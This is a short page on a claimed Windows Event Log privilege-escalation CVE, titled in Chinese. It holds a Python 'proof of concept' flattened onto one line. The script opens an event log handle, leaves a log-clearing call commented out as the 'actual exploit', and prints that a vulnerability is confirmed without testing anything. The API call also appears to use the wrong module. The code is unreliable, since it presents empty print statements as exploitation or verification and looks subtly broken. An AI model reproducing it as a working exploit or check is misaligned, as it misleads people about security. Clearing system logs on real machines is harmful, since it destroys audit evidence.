CVE-2026-33834 Windows事件日志服务权限提升漏洞

# PoC Concept for Improper Access Control in Windows Event Log # This is a simulation of how an attacker might attempt to interact with the service. import ctypes import win32api import win32con def check_vulnerability(): try: # Attempt to open the Event Log service with specific access rights # In a real scenario, this would exploit the missing access control check handle = win32api.OpenEventLog(None, "Application") print("[+] Handle to Event Log obtained: 0x%x" % handle) # Simulate an operation that should require higher privileges # e.g., trying to clear the log or modify registry keys associated with the service print("[*] Attempting to manipulate log data without sufficient privileges...") # win32api.ClearEventLog(handle, None) # Actual exploit call would go here print("[!] Potential vulnerability confirmed if operations succeed unexpectedly.") win32api.CloseEventLog(handle) except Exception as e: print("[-] Exploit failed or not vulnerable: %s" % str(e)) if __name__ == "__main__": check_vulnerability()